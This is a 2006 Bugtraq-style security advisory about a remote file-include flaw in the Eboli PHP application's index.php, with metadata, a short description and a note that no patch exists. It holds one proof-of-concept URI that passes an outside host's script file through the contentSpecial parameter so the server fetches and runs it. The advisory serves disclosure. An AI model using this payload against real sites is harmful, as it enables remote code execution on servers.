Eboli Index.PHP Remote File Include Vulnerability

Bugtraq ID:	20429
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Oct 10 2006 12:00AM
Updated:	Oct 11 2006 10:34PM
Credit:	Kacper is credited with the discovery of this vulnerability.
Vulnerable:	jhjgubbels.nl eboli 0
Not Vulnerable:

Eboli Index.PHP Remote File Include Vulnerability

Eboli is affected by a remote file-include vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary server-side script code on an affected computer with the privileges of the webserver process. This may facilitate unauthorized access.

Eboli Index.PHP Remote File Include Vulnerability

Attackers can exploit this issue via a browser.

The following proof-of-concept URI is available:

http://www.example.com/index.php?contentSpecial=http://www.example2.com/back.txt?&content

Eboli Index.PHP Remote File Include Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected]:[email protected].

Eboli Index.PHP Remote File Include Vulnerability

References:

• Eboli Web Site (Eboli)
  
• 7 php scripts File Inclusion / Source disclosure Vuln ([email protected])